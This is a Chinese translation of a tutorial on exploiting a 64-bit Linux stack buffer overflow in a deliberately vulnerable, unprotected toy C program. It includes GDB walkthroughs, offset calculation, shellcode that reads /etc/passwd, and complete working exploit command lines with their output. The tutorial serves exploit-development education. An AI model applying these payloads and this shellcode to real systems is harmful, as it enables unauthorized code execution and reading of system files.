64位linux栈溢出

By Zing - 2014-08-28

原文地址(翻译:Zing)

总结

0x01 x86和x86_64的区别
0x02 漏洞代码片段
0x03 触发溢出
0x04 控制RIP
0x05 跳到可控缓冲区
0x06 执行shellcode
0x07 GDB vs 真实环境
0x08 EOF

0x01 x86和x86_64的区别

第一个主要的区别就是内存地址的大小。不要感到惊奇:)内存地址为64位长,但是用户只使用47位;记住这一点,如果你指定一个大于0x00007fffffffffff的地址将会引发一个异常。也就是说0x4141414141414141会引发异常,但是0x0000414141414141是安全的。这在进行模糊测试和开发利用程序中是个小技巧。
事实上,二者区别非常多,不过这篇文章并不需要知道所有的区别。

0x02 漏洞代码片段

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv) {
char buffer[256];
if(argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}

我决定在漏洞利用过程中将缓冲区指针地址打印出来,以节省时间。

你可以用gcc编译这段代码。

$ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector

这样一切准备就绪了。

0x03 触发溢出

首先需要确认我们能够让这个进程崩溃

$ ./bof $(python -c 'print "A" * 300')
0x7fffffffdcd0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

确认我们真的控制了RIP(指令指针)

$ gdb -tui bof
(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) break main
(gdb) disassemble main
0x40060d <main> push rbp 
0x40060e <main+1> mov rbp,rsp 
0x400611 <main+4> sub rsp,0x110 
0x400618 <main+11> mov DWORD PTR [rbp-0x104],edi 
0x40061e <main+17> mov QWORD PTR [rbp-0x110],rsi 
0x400625 <main+24> cmp DWORD PTR [rbp-0x104],0x2 
0x40062c <main+31> je 0x400638 <main+43> 
0x40062e <main+33> mov edi,0x0 
0x400633 <main+38> call 0x400510 <exit@plt> 
0x400638 <main+43> lea rax,[rbp-0x100] 
0x40063f <main+50> mov rsi,rax 
0x400642 <main+53> mov edi,0x400714 
0x400647 <main+58> mov eax,0x0 
0x40064c <main+63> call 0x4004e0 <printf@plt> 
0x400651 <main+68> mov rax,QWORD PTR [rbp-0x110] 
0x400658 <main+75> add rax,0x8 
0x40065c <main+79> mov rdx,QWORD PTR [rax] 
0x40065f <main+82> lea rax,[rbp-0x100] 
0x400666 <main+89> mov rsi,rdx 
0x400669 <main+92> mov rdi,rax 
0x40066c <main+95> call 0x4004c0 <strcpy@plt> vulnerable call 
0x400671 <main+100> lea rax,[rbp-0x100] 
0x400678 <main+107> mov rdi,rax 
0x40067b <main+110> call 0x4004d0 <puts@plt> 
0x400680 <main+115> mov eax,0x0 
0x400685 <main+120> leave 
0x400686 <main+121> ret
(gdb) run $(python -c 'print "A" * 300')

你可以使用stepi一行一行执行代码,走一遍程序流程。

走过调用strcpy的地方之后,你会发现这次缓冲区指针指向 0x7fffffffdc90而不是0x7fffffffdcd0,这是gdb环境变量和其他因素造成的。现在先不用管这些。

重要的的笔记

文章的后半部分,当我提到leave指令时,指的是0x400685的那条。

最后调用strcpy之后的栈的情况:

(gdb) x/20xg $rsp
0x7fffffffdc80: 0x00007fffffffde78 0x00000002f7ffe520
0x7fffffffdc90: 0x4141414141414141 0x4141414141414141
0x7fffffffdca0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcb0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcd0: 0x4141414141414141 0x4141414141414141
0x7fffffffdce0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcf0: 0x4141414141414141 0x4141414141414141
0x7fffffffdd00: 0x4141414141414141 0x4141414141414141
0x7fffffffdd10: 0x4141414141414141 0x4141414141414141

main函数的leave指令会让rsp指向0x7fffffffdd98。

栈看上去向这样:

(gdb) x/20xg $rsp
0x7fffffffdd98: 0x4141414141414141 0x4141414141414141
0x7fffffffdda8: 0x4141414141414141 0x4141414141414141
0x7fffffffddb8: 0x0000000041414141 0x0000000000000000
0x7fffffffddc8: 0xa1c4af9213d095db 0x0000000000400520
0x7fffffffddd8: 0x00007fffffffde70 0x0000000000000000
0x7fffffffdde8: 0x0000000000000000 0x5e3b506da89095db
0x7fffffffddf8: 0x5e3b40d4af2a95db 0x0000000000000000
0x7fffffffde08: 0x0000000000000000 0x0000000000000000
0x7fffffffde18: 0x0000000000400690 0x00007fffffffde78
0x7fffffffde28: 0x0000000000000002 0x0000000000000000
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.

好的,我们有SIGSEGV时间来检查现在的寄存器的值。

(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffdd98 0x7fffffffdd98
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 582
r12 0x400520 4195616
r13 0x7fffffffde70 140737488346736
r14 0x0 0
r15 0x0 0
rip 0x400686 0x400686 <main+121>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) stepi
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

程序结束了,我们不能控制RIP:(为什么呢?因为我们超出太多,还记得最大的地址是0x00007fffffffffff吗,现在我们尝试溢出的是 0x4141414141414141。

0x04 控制RIP

我们遇到了一个小问题,不过问题总有解决之道。我们可以使用一个更小的缓冲区这样rsp指向的地址就会类似 0x0000414141414141。

计算缓冲区大小很简单。缓冲区起始位置在0x7fffffffdc90,leave指令执行之后,rsp指向0x7fffffffdd98。

0x7fffffffdd98 - 0x7fffffffdc90 = 0x108 -> 264 in decimal

知道了这一点,我们可以将溢出payload改成这样:

"A" * 264 + "B" * 6

rsp指向的地址应该向0x0000424242424242一样正常。这样就能控制RIP了。

$ gdb -tui bof
(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) break main
(gdb) run $(python -c 'print "A" * 264 + "B" * 6')

这次我们将直接检查leave指令执行后发生了什么。

下面是leave指令执行后栈的情况:

(gdb) x/20xg $rsp
0x7fffffffddb8: 0x0000424242424242 0x0000000000000000
0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000
0x7fffffffddd8: 0x000000000040060d 0x0000000000000000
0x7fffffffdde8: 0x2a283aca5f708a47 0x0000000000400520
0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000
0x7fffffffde08: 0x0000000000000000 0xd5d7c535e4f08a47
0x7fffffffde18: 0xd5d7d58ce38a8a47 0x0000000000000000
0x7fffffffde28: 0x0000000000000000 0x0000000000000000
0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98
0x7fffffffde48: 0x0000000000000002 0x0000000000000000

下面是leave指令执行后寄存器的情况:

(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffddb8 0x7fffffffddb8
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 r12 0x400520 4195616
r13 0x7fffffffde90 140737488346768
r14 0x0 0
r15 0x0 0
rip 0x400686 0x400686 <main+121>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

rsp指向0x7fffffffddb8,而0x7fffffffddb8处的值是0x0000424242424242。一切进展顺利,到了改执行ret指令的时候了。

(gdb) stepi
Cannot access memory at address 0x424242424242
Cannot access memory at address 0x424242424242
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffddc0 0x7fffffffddc0
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 582
r12 0x400520 4195616
r13 0x7fffffffde90 140737488346768
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

我们控制了RIP!

0x05 跳到用户可控的缓冲区

事实上,这部分没有什么新的特别的,你只需要将指针指向控制的缓冲区就行了。下面是第一次打印出来显示的值。在这个例子中是0x7fffffffdc90,在gdb中找到这个值也很容易,你只需要在调用strcpy之后查看栈就可以了。

(gdb) x/4xg $rsp
0x7fffffffdc80: 0x00007fffffffde98 0x00000002f7ffe520
0x7fffffffdc90: 0x4141414141414141 0x4141414141414141

该更新我们的payload了,新的payload看上去是这样

"A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]

我们需要将内存地址倒过来,因为它是小端编码结构。用python的[::-1]就行。

来确认一下我们真的跳到了正确的地址。

$ gdb -tui bof
(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) break main
(gdb) run $(python -c 'print "A" * 264 + 
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
(gdb) x/20xg $rsp
0x7fffffffddb8: 0x00007fffffffdc90 0x0000000000000000
0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000
0x7fffffffddd8: 0x000000000040060d 0x0000000000000000
0x7fffffffdde8: 0xe72f39cd325155ac 0x0000000000400520
0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000
0x7fffffffde08: 0x0000000000000000 0x18d0c63289d155ac
0x7fffffffde18: 0x18d0d68b8eab55ac 0x0000000000000000
0x7fffffffde28: 0x0000000000000000 0x0000000000000000
0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98
0x7fffffffde48: 0x0000000000000002 0x0000000000000000

这就是执行leave指令之后栈的情况。正如我们所知,rsp指向0x7fffffffddb8,0x7fffffffddb8处的值是0x00007fffffffdc90。最后,0x00007fffffffdc90指向了可控的缓冲区。

(gdb) stepi

ret指令执行后,rip指向了0x7fffffffdc90,这意味着我们跳到了正确的位置。

0x06 执行shellcode

在这个例子中,我准备用一个定制的shellcode,读取/etc/passwd的内容。

BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start
section .text
_start:
    jmp _push_filename
_readfile:
    ; syscall open file
    pop rdi ; pop path value
    ; NULL byte fix
    xor byte [rdi + 11], 0x41

    xor rax, rax
    add al, 2
    xor rsi, rsi ; set O_RDONLY flag
    syscall

    ; syscall read file
    sub sp, 0xfff
    lea rsi, [rsp]
    mov rdi, rax
    xor rdx, rdx
    mov dx, 0xfff ; size to read
    xor rax, rax
    syscall

    ; syscall write to stdout
    xor rdi, rdi
    add dil, 1 ; set stdout fd = 1
    mov rdx, rax
    xor rax, rax
    add al, 1
    syscall

    ; syscall exit
    xor rax, rax
    add al, 60
    syscall

_push_filename:
    call _readfile
    path: db "/etc/passwdA"

汇编文件,提取shellcode。

$ nasm -f elf64 readfile.asm -o readfile.o
$ for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n 
'\x'$i; done; echo
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x6
6\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x
0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\
xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f
\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

shellcode长度为82字节。下面来编译最后的payload。

原始payload

$(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')

需要调大小合适,264-82-182

$(python -c 'print "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')

把shellcode放在开头

$(python -c 'print 
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + 
"\x7f\xff\xff\xff\xdc\x90"[::-1]')

然后就是完整测试了

$ gdb –tui bof
(gdb) run $(python -c 'print 
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + 
"\x7f\xff\xff\xff\xdc\x90"[::-1]')

如果一切进展顺利,屏幕上将会显示/etc/passwd的内容。记住内存地址可能会变化,不一定和我的一样。

0x07 GDB vs 真实环境

gdb会初始化一些变量和其他的东西,所以在gdb外执行相同的exp可能会失败。但在这个例子中,我加了一条打印缓冲区地址指针的printf语句。这样就能容易地找到正确的值,获取真实环境中的地址。

下面是使用gdb找到的值的利用结果

$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + 
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
0x7fffffffdcf0
�?_�w

AH1�H1f���H�4$H��H1�f��H1H1�@��H��H1�H1�<�����
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA�����•
Illegal instruction (core dumped)

可以清楚地看到,exp失败了。但是0x7fffffffdc90变成了0x7fffffffdcf0。因为有了printf的输出,我们只需要将payload中的值改成正确的就可以了。

$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + 
"\x7f\xff\xff\xff\xdc\xf0"[::-1]')
0x7fffffffdcf0
�?_�w

AH1�H1f���H�4$H��H1�f��H1H1�@��H��H1�H1�<�����
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA�����•
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

使用正确的值exp成功执行了!

0x08 EOF

希望你喜欢这篇关于x86_64 linux缓冲区溢出的文章。有很多关于x86溢出的文章,但是讲64位比较少。祝你手握一堆shell~

MR.Un1k0d3r

From Z1ng'Blog